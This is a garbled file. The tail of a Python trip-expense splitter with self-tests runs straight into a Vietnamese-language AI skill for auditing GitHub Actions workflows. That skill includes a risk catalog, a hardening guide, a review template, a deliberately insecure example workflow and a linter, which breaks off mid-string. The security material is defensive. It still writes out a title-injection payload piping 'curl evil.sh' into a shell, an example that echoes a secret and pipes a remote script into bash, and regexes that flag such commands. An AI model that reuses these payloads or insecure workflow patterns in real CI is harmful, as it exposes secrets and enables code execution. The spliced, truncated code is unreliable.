split = ", ".join(f"{n} {fmt(v, c)}" for n, v in sorted(e["split"].items()))
conv = "" if e["original"].endswith(c.upper()) else f" ({e['original']})"
lines.append(f"| {i} | {e['desc']} | {e['paid_by']} | {fmt(e['amount'], c)}{conv} | {e['kind']}: {split} |")
lines += ["", "## Balances", "| Person | Paid | Share | Net |", "|---|---|---|---|"]
for p in r["people"]:
lines.append(f"| {p} | {fmt(r['paid'][p], c)} | {fmt(r['owed'][p], c)} | {fmt(r['net'][p], c)} |")
lines += ["", "## Who pays whom"]
if not r["transfers"]:
lines.append("Everyone is even.")
lines += [f"- {t['from']} pays {t['to']} {fmt(t['amount'], c)}" for t in r["transfers"]]
return "\n".join(lines)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
base = {"currency": "EUR", "people": ["Ana", "Ben", "Cem"]}
r = compute(dict(base, expenses=[{"desc": "Taxi", "amount": 10, "paid_by": "Ana"}]))
ok("10.00 split three ways sums exactly", sum(r["owed"].values()) == 1000 and sorted(r["owed"].values()) == [333, 333, 334])
ok("remainder cent goes to first name on tie", r["owed"]["Ana"] == 334)
ok("two transfers to the payer", sorted((t["from"], t["amount"]) for t in r["transfers"]) == [("Ben", 333), ("Cem", 333)])
r = compute(dict(base, expenses=[{"desc": "A", "amount": 30, "paid_by": "Ana"}, {"desc": "B", "amount": 30, "paid_by": "Ben"}, {"desc": "C", "amount": 30, "paid_by": "Cem"}]))
ok("equal spending means no transfers", r["transfers"] == [])
r = compute(dict(base, expenses=[{"desc": "Dinner", "amount": 90, "paid_by": "Ben", "among": ["Ana", "Ben"]}]))
ok("subset split excludes others", r["owed"]["Cem"] == 0 and r["net"]["Ana"] == -4500)
r = compute(dict(base, expenses=[{"desc": "Boat", "amount": 100, "paid_by": "Cem", "shares": {"Ana": 2, "Ben": 1, "Cem": 1}}]))
ok("weighted shares", r["owed"] == {"Ana": 5000, "Ben": 2500, "Cem": 2500})
r = compute(dict(base, expenses=[{"desc": "Tickets", "amount": 50, "paid_by": "Ana", "exact": {"Ben": 20, "Cem": 30}}]))
ok("exact amounts", r["net"] == {"Ana": 5000, "Ben": -2000, "Cem": -3000})
r = compute(dict(base, rates={"USD": 0.9}, expenses=[{"desc": "Gas", "amount": 30, "currency": "USD", "paid_by": "Ben"}]))
ok("currency conversion to cents", r["paid"]["Ben"] == 2700 and sum(r["owed"].values()) == 2700)
r = compute(dict(base, expenses=[{"desc": "Hotel", "amount": 300, "paid_by": "Ana"}, {"desc": "Payback", "amount": 100, "paid_by": "Ben", "transfer_to": "Ana"}]))
ok("direct repayment reduces debt", r["net"] == {"Ana": 10000, "Ben": 0, "Cem": -10000})
ok("repayment not counted as spending", r["total_spent"] == 30000)
big = {"currency": "EUR", "people": ["A", "B", "C", "D", "E"],
"expenses": [{"desc": f"x{i}", "amount": 17.33 * (i + 1), "paid_by": "ABCDE"[i % 5], "among": list("ABCDE"[: 2 + i % 4])} for i in range(12)]}
r = compute(big)
ok("balances sum to zero", sum(r["net"].values()) == 0)
ok("at most n-1 transfers", len(r["transfers"]) <= 4)
after = dict(r["net"])
for t in r["transfers"]:
after[t["from"]] += t["amount"]
after[t["to"]] -= t["amount"]
ok("transfers settle everyone to zero", all(v == 0 for v in after.values()))
ok("deterministic output", compute(big)["transfers"] == r["transfers"])
bad_inputs = [
(dict(base, expenses=[{"desc": "X", "amount": 10, "paid_by": "Zed"}]), "unknown payer rejected"),
(dict(base, expenses=[{"desc": "X", "amount": 10, "currency": "GBP", "paid_by": "Ana"}]), "missing rate rejected"),
(dict(base, expenses=[{"desc": "X", "amount": 10, "paid_by": "Ana", "exact": {"Ben": 3}}]), "exact mismatch rejected"),
(dict(base, expenses=[{"desc": "X", "amount": -5, "paid_by": "Ana"}]), "negative amount rejected"),
({"people": ["Solo"], "expenses": []}, "single person rejected"),
]
for data, label in bad_inputs:
try:
compute(data)
ok(label, False)
except SplitError:
ok(label, True)
ok("markdown has settle-up section", "## Who pays whom" in to_markdown(compute(dict(base, expenses=[{"desc": "Taxi", "amount": 10, "paid_by": "Ana"}]))))
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Split shared trip expenses and plan a short list of settle-up transfers.")
ap.add_argument("file", nargs="?", help="trip JSON file, or '-' for stdin")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("trip JSON required (or --self-test)")
try:
data = json.load(sys.stdin if a.file == "-" else open(a.file, encoding="utf-8"))
r = compute(data)
except (OSError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2, ensure_ascii=False) if a.json else to_markdown(r))
return 0
if __name__ == "__main__":
sys.exit(main())Đánh giá các tệp YAML luồng công việc của GitHub Actions nhằm phát hiện rủi ro chuỗi cung ứng và chèn mã (injection): sử dụng pull_request_target kèm checkout mã nguồn PR, văn bản github.event không đáng tin cậy trong các bước run, các action được ghim theo tag hoặc nhánh thay vì mã băm commit SHA, thiếu cấu hình quyền hoặc cấp quyền write-all, lộ bí mật (secrets) trong các lệnh shell, lệnh dạng curl | bash, sử dụng self-hosted runner cho PR, và thiếu cấu hình thời gian chờ tối đa (timeout). Sử dụng trước khi gộp (merge) các thay đổi CI hoặc khi kiểm toán kho mã nguồn. Bao gồm một công cụ kiểm tra (linter) bằng Python dùng thư viện chuẩn với tùy chọn --self-test.
--- name: github-actions-workflow-security-reviewer description: Đánh giá các tệp YAML luồng công việc của GitHub Actions nhằm phát hiện rủi ro chuỗi cung ứng và chèn mã (injection): sử dụng pull_request_target kèm checkout mã nguồn PR, văn bản github.event không đáng tin cậy trong các bước run, các action được ghim theo tag hoặc nhánh thay vì mã băm commit SHA, thiếu cấu hình quyền hoặc cấp quyền write-all, lộ bí mật (secrets) trong các lệnh shell, lệnh dạng curl | bash, sử dụng self-hosted runner cho PR, và thiếu cấu hình thời gian chờ tối đa (timeout). Sử dụng trước khi gộp (merge) các thay đổi CI hoặc khi kiểm toán kho mã nguồn. Bao gồm một công cụ kiểm tra (linter) bằng Python dùng thư viện chuẩn với tùy chọn --self-test. --- # Trình Đánh Giá Bảo Mật Luồng Công Việc GitHub Actions Bạn giúp những người bảo trì dự án tìm và khắc phục các lỗ hổng bảo mật trong `.github/workflows/*.yml` trước khi kẻ tấn công kịp khai thác. Bạn đọc từng luồng công việc (workflow) dưới góc nhìn của một bản fork độc hại, một người tạo issue, hoặc một action bên thứ ba đã bị xâm phạm; chỉ ra chính xác dòng có rủi ro, giải thích ngắn gọn trong một hoặc hai câu về cách thức nó có thể bị lạm dụng, và đưa ra bản vá tối thiểu giúp luồng công việc vẫn hoạt động bình thường. ## Các tệp trong kỹ năng này - `scripts/gha_audit.py` - công cụ kiểm tra (linter) theo từng dòng cho các tệp luồng công việc: sự kiện kích hoạt (triggers), quyền hạn (permissions), cách ghim phiên bản trong `uses:`, lỗi chèn kịch bản (script injection) trong `run:` và `github-script`, lộ secrets trong câu lệnh, tải kịch bản từ xa truyền thẳng vào shell, self-hosted runners, cấu hình thời gian chờ tối đa (chỉ sử dụng thư viện chuẩn của Python 3, không cần thư viện YAML) - `references/risk-catalog.md` - danh mục mọi mã quy tắc kèm mức độ nghiêm trọng, lý do tại sao nó quan trọng và cách khắc phục - `references/hardening-guide.md` - các mẫu cấu hình an toàn: truyền gián tiếp qua biến môi trường (env indirection), phân quyền tối thiểu, ghim SHA kết hợp Dependabot, tách biệt luồng công việc có đặc quyền và không có đặc quyền - `templates/workflow-security-review.md` - mẫu bình luận đánh giá hoặc báo cáo kiểm toán - `examples/pr-labeler.yml` - một luồng công việc cố tình được viết không an toàn và các phát hiện dự kiến tương ứng ## Quy trình làm việc ### 1. Thu thập các luồng công việc Yêu cầu cung cấp các tệp luồng công việc (hoặc đường dẫn kho mã nguồn) và bối cảnh: kho công khai hay riêng tư, các bản fork có được phép mở pull request hay không, có những biến bí mật (secrets) và môi trường (environments) nào, và có sử dụng self-hosted runner hay không. Các luồng công việc được kích hoạt bởi `pull_request_target`, `issue_comment`, `issues`, `workflow_run` hoặc `discussion` cần được soi kỹ nhất vì chúng chạy cùng với secrets của kho mã nguồn trên các sự kiện mà người ngoài có thể tự tạo ra. ### 2. Chạy công cụ kiểm tra (linter) ``` python3 scripts/gha_audit.py .github/workflows/*.yml python3 scripts/gha_audit.py examples/pr-labeler.yml --json python3 scripts/gha_audit.py ci.yml --strict python3 scripts/gha_audit.py --self-test ``` Mã thoát (exit code) bằng 1 có nghĩa là có ít nhất một phát hiện mức độ cao (`--strict`: bất kỳ phát hiện nào); bằng 2 có nghĩa là không thể đọc được tệp. Công cụ kiểm tra này không cần PyYAML; nó hiểu được các bố cục luồng công việc phổ biến nhưng có thể bỏ sót các cú pháp YAML đặc biệt (anchors, flow mappings). Bạn cũng hãy tự đọc trực tiếp tệp đó. ### 3. Xác nhận từng phát hiện Đối với mỗi phát hiện, hãy kiểm tra bối cảnh mà kịch bản không thể nhìn thấy: biểu thức đó có thực sự nằm dưới sự kiểm soát của kẻ tấn công hay không, job đó có giữ secrets hay token có quyền ghi hay không, action đó có đến từ một nhà phát hành đáng tin cậy hay không? Hãy hạ mức độ hoặc bỏ qua kèm theo lý do rõ ràng; tuyệt đối không âm thầm lược bỏ một phát hiện mức độ cao. ### 4. Đề xuất cách khắc phục Sử dụng `references/risk-catalog.md` để tra cứu từng mã quy tắc và `references/hardening-guide.md` để lấy các mẫu cấu hình an toàn. Ưu tiên các thay đổi (diff) nhỏ gọn, dễ duyệt: chuyển `{}` vào trong `env:` và đặt biến shell trong dấu ngoặc kép, thêm `permissions: contents: read` ở cấp cao nhất, ghim `uses:` vào mã băm commit SHA đầy đủ kèm tên tag trong chú thích, đồng thời thêm `persist-credentials: false` và `timeout-minutes`. ### 5. Báo cáo Điền vào `templates/workflow-security-review.md`: các tệp đã đánh giá, các phát hiện phân theo mức độ nghiêm trọng kèm số dòng, kịch bản tấn công cho từng phát hiện mức độ cao, bản vá lỗi, và các việc cần làm tiếp theo (bật Dependabot cho actions, bảo vệ nhánh, người phê duyệt môi trường). ## Quy tắc - Luôn coi tiêu đề, nội dung, tên nhánh, thông điệp commit và bình luận từ PR cũng như issue là dữ liệu đầu vào do kẻ tấn công kiểm soát. - Không bao giờ hỏi hoặc in ra giá trị của các biến bí mật (secrets); chỉ nhắc đến chúng bằng tên biến. - Không viết mã khai thác thử nghiệm (proof-of-concept exploits) nhắm vào các kho mã nguồn không thuộc quyền sở hữu của người dùng; thay vào đó chỉ mô tả rủi ro. - Kết quả chạy linter sạch lỗi không phải là sự đảm bảo tuyệt đối. Hãy nêu rõ những gì chưa được kiểm tra (các luồng công việc tái sử dụng, composite actions, cài đặt cấp kho mã nguồn). FILE:references/risk-catalog.md # Danh Mục Rủi Ro (các mã quy tắc được sử dụng bởi gha_audit.py) | ID | Mức độ nghiêm trọng | Nội dung phát hiện | Tại sao điều này quan trọng | Cách khắc phục | |---|---|---|---|---| | GHA001 | high | Luồng công việc `pull_request_target` (hoặc `workflow_run`) thực hiện checkout nhánh head của PR (`ref: { github.event.pull_request.head.sha}`, `head.ref`, `github.head_ref`) | Mã nguồn từ một bản fork được chạy cùng với secrets của kho và một token có quyền ghi ("pwn request") | Sử dụng `pull_request` để build mã nguồn không đáng tin cậy; chỉ giữ `pull_request_target` cho việc gắn nhãn/bình luận mà không checkout mã nguồn PR | | GHA002 | high | Biểu thức `{}` không đáng tin cậy nằm bên trong `run:` hoặc `script:` của `github-script` (tiêu đề hoặc nội dung issue/PR, nội dung bình luận, head ref, thông điệp commit, tên/email tác giả, tên trang) | Văn bản được dán trực tiếp vào kịch bản trước khi thực thi, do đó một tiêu đề như `"; curl evil.sh | sh #` sẽ bị chạy thành lệnh | Truyền giá trị qua `env:` và sử dụng `"$TITLE"` trong shell | | GHA003 | medium (low đối với `actions/*`, `github/*`) | `uses: owner/repo@v4` được ghim vào một tag | Các tag có thể bị trỏ sang commit khác; một action bị xâm phạm sẽ đưa mã độc vào quá trình build của bạn | Ghim vào mã băm commit SHA đủ 40 ký tự, giữ lại tên tag trong phần chú thích, để Dependabot tự động cập nhật | | GHA004 | high | `uses:` trỏ tới một nhánh (`@main`, `@master`) hoặc không có ref | Mỗi lần chạy sẽ kéo bất kỳ mã nào đang nằm trên nhánh đó vào thời điểm hiện tại | Ghim vào một mã băm commit SHA | | GHA005 | medium | Không khai báo `permissions:` ở cấp luồng công việc và cũng không khai báo trên tất cả các job | Biến `GITHUB_TOKEN` sẽ nhận quyền mặc định của kho mã nguồn, thường là quyền đọc/ghi trên mọi phạm vi | Thêm `permissions: contents: read` ở đầu tệp và chỉ cấp thêm quyền theo từng job cụ thể | | GHA006 | high | `permissions: write-all` | Mọi phạm vi quyền đều có thể bị ghi bởi bất kỳ bước nào | Chỉ liệt kê đúng những phạm vi quyền thực sự cần thiết | | GHA007 | high / medium | `{ secrets.X}` nằm trực tiếp bên trong lệnh `run:` (mức high khi được echo hoặc in ra) | Giá trị bí mật bị lưu lại trong lịch sử shell, danh sách tiến trình, nhật ký (logs), hoặc văn bản bị chèn | Ánh xạ biến bí mật vào `env:` và đọc qua `$X`; tuyệt đối không echo giá trị này | | GHA008 | medium | `curl ... \| bash` hoặc `wget ... \| sh` | Thực thi mã từ xa chưa được xác minh cùng với token và secrets của job | Tải xuống, kiểm tra mã băm (checksum) hoặc chữ ký số, sau đó mới chạy; hoặc sử dụng một action đã được ghim cứng | | GHA009 | medium | Sử dụng `self-hosted` runner trong một luồng công việc được kích hoạt bởi `pull_request` hoặc `pull_request_target` | Mã nguồn từ bản fork có thể bám trụ lại trên máy chủ và tấn công các job chạy sau đó | Sử dụng runner do GitHub lưu trữ hoặc runner dùng một lần (ephemeral) cho PR; yêu cầu phê duyệt đối với người đóng góp bên ngoài | | GHA010 | high | `ACTIONS_ALLOW_UNSECURE_COMMANDS: true` | Kích hoạt lại các lệnh `set-env`/`add-path` đã bị loại bỏ, vốn có thể bị kích hoạt thông qua kết quả in ra log | Xóa cấu hình này; ghi trực tiếp vào `$GITHUB_ENV` và `$GITHUB_PATH` | | GHA011 | low | `actions/checkout` không có `persist-credentials: false` | Token vẫn lưu lại trong `.git/config` ở mọi bước tiếp theo và trong bất kỳ artifact nào được tải lên | Thêm `persist-credentials: false` trừ khi có bước phía sau cần thực hiện lệnh push | | GHA012 | low | Job không có cấu hình `timeout-minutes` | Một job bị treo hoặc bị lạm dụng có thể chạy suốt 6 giờ làm tiêu tốn số phút miễn phí/trả phí của bạn | Thêm thời gian chờ tối đa hợp lý (ví dụ: 15-30) | | GHA013 | low | `docker://image:tag` không có mã băm `@sha256:` | Các tag của image có thể bị ghi đè | Ghim cố định dạng `docker://image@sha256:<digest>` | | GHA014 | medium | Luồng công việc `workflow_run` sử dụng `actions/download-artifact` | Các artifact sinh ra từ lần chạy do bản fork kích hoạt đều nằm dưới sự kiểm soát của kẻ tấn công | Coi nội dung artifact là dữ liệu thuần túy: kiểm tra tính hợp lệ, tuyệt đối không thực thi; tránh giải nén trực tiếp vào thư mục làm việc | ## Hướng dẫn phân loại mức độ nghiêm trọng - **high**: người bên ngoài nhiều khả năng có thể chạy mã tùy ý cùng với secrets hoặc token có quyền ghi, hoặc một tham chiếu có thể thay đổi đang kiểm soát quá trình build. - **medium**: lỗ hổng trong việc gia cố bảo mật khiến cho việc xâm phạm trở nên dễ dàng hơn hoặc gây hậu quả lớn hơn. - **low**: thực hành tốt nên áp dụng; hãy sửa khi có dịp chỉnh sửa tệp đó. FILE:references/hardening-guide.md # Hướng Dẫn Gia Cố Bảo Mật (Hardening Guide) ## 1. Truyền văn bản không đáng tin cậy thông qua biến môi trường (env), không dùng biểu thức trực tiếp ```yaml # unsafe - run: echo "Title: { github.event.pull_request.title}" # safe - env: PR_TITLE: { github.event.pull_request.title} run: echo "Title: $PR_TITLE" ``` Luôn đặt biến trong dấu ngoặc kép. Trong `actions/github-script`, hãy đọc `context.payload.pull_request.title` trực tiếp trong JavaScript thay vì nội suy `{}` vào trong kịch bản. ## 2. Token theo nguyên tắc đặc quyền tối thiểu ```yaml permissions: contents: read # workflow default jobs: label: permissions: pull-requests: write # only this job can label ``` Đồng thời hãy đặt quyền mặc định của kho mã nguồn thành chỉ đọc (Settings > Actions > General > Workflow permissions). ## 3. Ghim các action vào mã băm commit SHA ```yaml - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0 ``` Bật Dependabot cho hệ sinh thái `github-actions` để các mã băm đã ghim nhận được các PR cập nhật kèm theo nhật ký thay đổi (changelog). Ưu tiên sử dụng các action từ những nhà phát hành đã được xác minh và đọc kỹ mã nguồn của các action nhỏ từ bên thứ ba trước khi đưa vào sử dụng. ## 4. Tách biệt công việc có đặc quyền và không có đặc quyền - Luồng công việc `pull_request`: thực hiện build và kiểm thử mã nguồn từ bản fork mà không có secrets và chỉ dùng token có quyền đọc; tải kết quả lên dưới dạng một artifact. - Luồng công việc `workflow_run`: chạy nối tiếp sau đó cùng với secrets, tải artifact xuống, coi nội dung đó là dữ liệu không đáng tin cậy (chỉ phân tích cú pháp JSON, tuyệt đối không thực thi), rồi đăng bình luận hoặc gắn nhãn. ## 5. Checkout và thông tin xác thực - Đặt `persist-credentials: false` trên `actions/checkout` trừ khi job đó cần thực hiện lệnh push. - Tuyệt đối không checkout mã nguồn của PR trong `pull_request_target`; nếu bắt buộc phải checkout (ví dụ công cụ gắn nhãn cần đọc tệp cấu hình), chỉ checkout nhánh đích (base branch). ## 6. Runners và các giới hạn - Self-hosted runners: chỉ dùng cho các kho mã nguồn riêng tư, hoặc phải là dạng dùng một lần (ephemeral - mỗi VM chỉ chạy một job rồi hủy) và không có quyền truy cập mạng vào các hệ thống nội bộ. - Đặt `timeout-minutes` trên mọi job; cấu hình nhóm `concurrency` cho các luồng triển khai (deploy). ## 7. Secrets và các môi trường (environments) - Đặt thông tin xác thực dùng để triển khai vào trong một môi trường (environment) có yêu cầu người phê duyệt bắt buộc và quy tắc giới hạn nhánh. - Ưu tiên sử dụng OIDC (`id-token: write`) thay cho các khóa đám mây dài hạn. - Che giấu các giá trị phái sinh bằng `::add-mask::` trước khi in ra bất kỳ nội dung nào giống như dữ liệu bí mật. ## Danh sách kiểm tra khi đánh giá 1. Những sự kiện kích hoạt (triggers) nào có thể bị người bên ngoài kích hoạt? 2. Token có thể ghi vào những đâu, và những biến bí mật (secrets) nào có thể tiếp cận được từ các sự kiện kích hoạt đó? 3. Có văn bản nào do kẻ tấn công kiểm soát bị nội suy trực tiếp vào kịch bản hay không? 4. Mọi khai báo `uses:` đã được ghim vào mã băm SHA hay chưa? 5. Có đoạn mã từ xa nào được thực thi mà không qua xác minh hay không? FILE:templates/workflow-security-review.md # Đánh Giá Bảo Mật GitHub Actions - <repository> **Ngày:** <YYYY-MM-DD> **Người đánh giá:** <name> **Các tệp:** <.github/workflows/...> **Chế độ hiển thị kho:** <public/private> **Cho phép PR từ bản fork:** <yes/no> **Self-hosted runners:** <yes/no> **Công cụ kiểm tra:** `gha_audit.py` -> <n> high, <n> medium, <n> low ## Các phát hiện mức độ cao (High) | Quy tắc | Tệp:dòng | Vấn đề | Kịch bản tấn công | Cách khắc phục | |---|---|---|---|---| | | | | | | ## Các phát hiện mức độ trung bình và thấp (Medium & Low) | Quy tắc | Tệp:dòng | Vấn đề | Cách khắc phục | |---|---|---|---| | | | | | ## Các phát hiện đã loại trừ - <quy tắc, tệp:dòng> - <lý do không thể khai thác trong trường hợp này> ## Bản vá đề xuất ```diff <minimal diff> ``` ## Những hạng mục không nằm trong phạm vi đánh giá này - Các luồng công việc tái sử dụng (reusable workflows) và các composite action được gọi từ những tệp này - Cài đặt cấp kho mã nguồn và cấp tổ chức (quyền mặc định của token, phê duyệt PR từ bản fork, cấu hình môi trường) ## Các việc cần làm tiếp theo - [ ] Bật Dependabot cho hệ sinh thái github-actions - [ ] Đặt quyền mặc định của luồng công việc thành chỉ đọc (read-only) - [ ] Yêu cầu người phê duyệt đối với môi trường production FILE:examples/pr-labeler.yml # Deliberately unsafe example for gha_audit.py. Expected findings (line numbers in this file): # GHA001 high line 21 - pull_request_target checks out the PR head # GHA002 high line 24 - PR title pasted into run (script injection) # GHA007 high line 25 - secret echoed in run # GHA004 high line 27 - third-party action on @main # GHA005 medium line 1 - no permissions block at workflow or job level # GHA008 medium line 26 - curl piped to bash # GHA012 low line 16 - job without timeout-minutes # GHA003 low line 19 - actions/checkout@v4 pinned to a tag # GHA011 low line 19 - checkout without persist-credentials: false name: PR labeler on: pull_request_target: types: [opened, synchronize] jobs: label: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: ref: { github.event.pull_request.head.sha} - name: Greet run: | echo "Thanks for: { github.event.pull_request.title}" echo "token={ secrets.LABEL_TOKEN}" curl -sSL https://example.com/install.sh | bash - uses: someorg/auto-labeler@main FILE:scripts/gha_audit.py #!/usr/bin/env python3 """GitHub Actions workflow security linter (Python 3 standard library only, no YAML library). Reads workflow files line by line, tracking indentation, and reports risky patterns with rule IDs (see references/risk-catalog.md): GHA001 pull_request_target/workflow_run + checkout of PR head high GHA002 untrusted { github.event.*} text inside run:/script: high GHA003 uses: pinned to a tag instead of a commit SHA medium (low for actions/*, github/*) GHA004 uses: on a branch (@main/@master) or without a ref high GHA005 no permissions at workflow level or on every job medium GHA006 permissions: write-all high GHA007 { secrets.*} inside run: (high when echoed/printed) high/medium GHA008 curl/wget piped to a shell medium GHA009 self-hosted runner on pull_request(_target) medium GHA010 ACTIONS_ALLOW_UNSECURE_COMMANDS enabled high GHA011 actions/checkout without persist-credentials: false low GHA012 job without timeout-minutes low GHA013 docker:// image without @sha256 digest low GHA014 workflow_run + actions/download-artifact medium Usage: python3 gha_audit.py .github/workflows/*.yml python3 gha_audit.py ci.yml --json python3 gha_audit.py ci.yml --strict # exit 1 on any finding python3 gha_audit.py --self-test Exit code: 0 no high findings, 1 high findings (or any with --strict), 2 unreadable file. """ import argparse import json import re import sys SEV_ORDER = {"high": 0, "medium": 1, "low": 2} TRUSTED_OWNERS = {"actions", "github"} BRANCH_REFS = {"main", "master", "dev", "develop", "trunk", "head", "latest"} UNTRUSTED_EXPR = re.compile( r"github\.head_ref" r"|github\.event\.[\w.*\[\]'\"-]*?\b(title|body|message|page_name|email|head_branch|default_branch|label)\b" r"|github\.event\.[\w.*\[\]'\"-]*?head\.ref\b" r"|github\.event\.[\w.*\[\]'\"-]*?author\.name\b" ) EXPR = re.compile(r"\$\{\{(.*?)\}\}") SECRET_EXPR = re.compile(r"\$\{\{\s*secrets\.([A-Za-z0-9_]+)\s*\}\}") PR_HEAD_REF = re.compile(r"ref:\s*['\"]?\$\{\{\s*(github\.event\.pull_request\.head\.(sha|ref)|github\.head_ref|github\.event\.workflow_run\.head_(sha|branch))\s*\}\}") PIPE_SHELL = re.compile(r"\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+)?(-E\s+)?(ba|z|da)?sh\b") PRINT_CMD = re.compile(r"\b(echo|printf|cat|tee|print)\b") SHA40 = re.compile(r"^[0-9a-f]{40}$") def strip_comment(line): """Remove a trailing YAML comment (a # preceded by whitespace, outside quotes).""" out, q = [], None for i, ch in enumerate(line): if q: if ch == q: q = None elif ch in "'\"": q = ch elif ch == "#" and (i == 0 or line[i - 1] in " \t"): break out.append(ch) return "".join(out).rstrip() def indent_of(s): return len(s) - len(s.lstrip(" ")) def parse_lines(text): """Return a list of (lineno, indent, content) for non-empty, non-comment lines.""" rows = [] for n, raw in enumerate(text.splitlines(), 1): s = strip_comment(raw.replace("\t", " ")) if s.strip(): rows.append((n, indent_of(s), s.strip())) return rows def block_end(rows, i): """Index after the block owned by rows[i] (all following rows indented deeper).""" ind = rows[i][1] j = i + 1 while j < len(rows) and rows[j][1] > ind: j += 1 return j def key_of(content): c = content[2:].lstrip() if content.startswith("- ") else content m = re.match(r"^['\"]?([A-Za-z0-9_\-]+)['\"]?\s*:(\s|$)", c) return (m.group(1), c[m.end():].strip()) if m else (None, None) def triggers(rows): trig = set() for i, (n, ind, c) in enumerate(rows): k, v = key_of(c) if ind == 0 and k in ("on", "true"): if v: trig.update(re.findall(r"[a-z_]+", v)) else: end = block_end(rows, i) child = min((rows[j][1] for j in range(i + 1, end)), default=None) for j in range(i + 1, end): if rows[j][1] == child: ck, _ = key_of(rows[j][2]) if ck: trig.add(ck) elif rows[j][2].startswith("- "): trig.add(rows[j][2][2:].strip()) return trig def audit_text(text, path="workflow.yml"): rows = parse_lines(text) findings = [] def add(rule, sev, line, msg): findings.append({"file": path, "line": line, "rule": rule, "severity": sev, "message": msg}) trig = triggers(rows) privileged = trig & {"pull_request_target", "workflow_run"} pr_triggers = trig & {"pull_request", "pull_request_target"} top_perm = None jobs_idx = None for i, (n, ind, c) in enumerate(rows): k, v = key_of(c) if ind == 0 and k == "permissions": top_perm = (n, v) if ind == 0 and k == "jobs": jobs_idx = i if top_perm and top_perm[1].strip("'\"") == "write-all": add("GHA006", "high", top_perm[0], "permissions: write-all gives every step write access to all scopes") # jobs jobs = [] if jobs_idx is not None: end = block_end(rows, jobs_idx) child = min((rows[j][1] for j in range(jobs_idx + 1, end)), default=None) for j in range(jobs_idx + 1, end): if rows[j][1] == child and key_of(rows[j][2])[0]: jobs.append((j, block_end(rows, j))) jobs_with_perm = 0 for (js, je) in jobs: jname = key_of(rows[js][2])[0] jind = rows[js][1] direct = [r for r in rows[js + 1:je] if r[1] == min(x[1] for x in rows[js + 1:je])] if je > js + 1 else [] dkeys = {key_of(r[2])[0]: r for r in direct} if "permissions" in dkeys: jobs_with_perm += 1 if dkeys["permissions"][2].split(":", 1)[1].strip().strip("'\"") == "write-all": add("GHA006", "high", dkeys["permissions"][0], f"job '{jname}' uses permissions: write-all") if "timeout-minutes" not in dkeys and "uses" not in dkeys: add("GHA012", "low", rows[js][0], f"job '{jname}' has no timeout-minutes (default is 360)") if "runs-on" in dkeys: ro_i = rows.index(dkeys["runs-on"]) ro_text = " ".join(r[2] for r in rows[ro_i:block_end(rows, ro_i)]) if "self-hosted" in ro_text and pr_triggers: add("GHA009", "medium", dkeys["runs-on"][0], f"job '{jname}' runs pull request code on a self-hosted runner") if top_perm is None and (not jobs or jobs_with_perm < len(jobs)): add("GHA005", "medium", 1, "no permissions block at workflow level (and not on every job); GITHUB_TOKEN gets the repo default") # line-level checks i = 0 while i < len(rows): n, ind, c = rows[i] k, v = key_of(c) if k in ("run", "script"): end = block_end(rows, i) body = [(n, v)] if v and v not in ("|", ">", "|-", ">-", "|+", ">+") else [] body += [(r[0], r[2]) for r in rows[i + 1:end]] for bn, bt in body: for m in EXPR.finditer(bt): expr = m.group(1).strip() if UNTRUSTED_EXPR.search(expr): add("GHA002", "high", bn, f"untrusted expression {{{ {expr }}}} is pasted into {k}: (script injection); pass it via env") for m in SECRET_EXPR.finditer(bt): if PRINT_CMD.search(bt): add("GHA007", "high", bn, f"secret {m.group(1)} is printed in {k}:") else: add("GHA007", "medium", bn, f"secret {m.group(1)} is interpolated into {k}:; map it to env instead") if k == "run" and PIPE_SHELL.search(bt): add("GHA008", "medium", bn, "remote script piped straight into a shell") i = end continue if k == "uses": ref = v.strip("'\"") if ref.startswith("./"): pass elif ref.startswith("docker://"): if "@sha256:" not in ref: add("GHA013", "low", n, f"{ref} is not pinned to an image digest") else: name, _, at = ref.partition("@") owner = name.split("/")[0].lower() if not at or at.lower() in BRANCH_REFS: add("GHA004", "high", n, f"{ref or name} follows a branch or has no ref; pin to a commit SHA") elif not SHA40.match(at): sev = "low" if owner in TRUSTED_OWNERS else "medium" add("GHA003", sev, n, f"{ref} is pinned to a tag, not a full commit SHA") if name.lower().startswith("actions/checkout"): # the step block: siblings at this indent (after '- ') and deeper step_ind = ind + 2 if c.startswith("- ") else ind j = i + 1 j0 = i while j0 > 0 and not rows[j0][2].startswith("- ") and rows[j0][1] >= step_ind: j0 -= 1 while j < len(rows) and rows[j][1] >= step_ind and not (rows[j][1] == step_ind - 2 and rows[j][2].startswith("- ")): j += 1 step = " ".join(r[2] for r in rows[j0:j]) if not re.search(r"persist-credentials:\s*['\"]?false", step): add("GHA011", "low", n, "actions/checkout keeps the token in .git/config; add persist-credentials: false") if name.lower().startswith("actions/download-artifact") and "workflow_run" in trig: add("GHA014", "medium", n, "artifact from a workflow_run may be attacker-controlled; treat as data") if privileged and PR_HEAD_REF.search(c): add("GHA001", "high", n, f"{'/'.join(sorted(privileged))} workflow checks out untrusted PR code with secrets available") if re.search(r"ACTIONS_ALLOW_UNSECURE_COMMANDS\s*:\s*['\"]?true", c, re.I): add("GHA010", "high", n, "ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables set-env/add-path") i += 1 findings.sort(key=lambda f: (f["file"], SEV_ORDER[f["severity"]], f["line"], f["rule"])) return {"file": path, "triggers": sorted(trig), "jobs": len(jobs), "findings": findings} def to_markdown(results): out = ["# GitHub Actions security audit", ""] tot = {"high": 0, "medium": 0, "low": 0} for r in results: for f in r["findings"]: tot[f["severity"]] += 1 out.append(f"**Files:** {len(results)} **Findings:** {tot['high']} high, {tot['medium']} medium, {tot['low']} low") for r in results: out += ["", f"## {r['file']}", f"Triggers: {', '.join(r['triggers']) or 'none found'}; jobs: {r['jobs']}", ""] if not r["findings"]: out.append("No findings.") continue out += ["| Severity | Rule | Line | Finding |", "|---|---|---|---|"] for f in r["findings"]: msg = f["message"].replace("|", "\\|") out.append(f"| {f['severity']} | {f['rule']} | {f['line']} | {msg} |") return "\n".join(out) SAFE = """name: CI 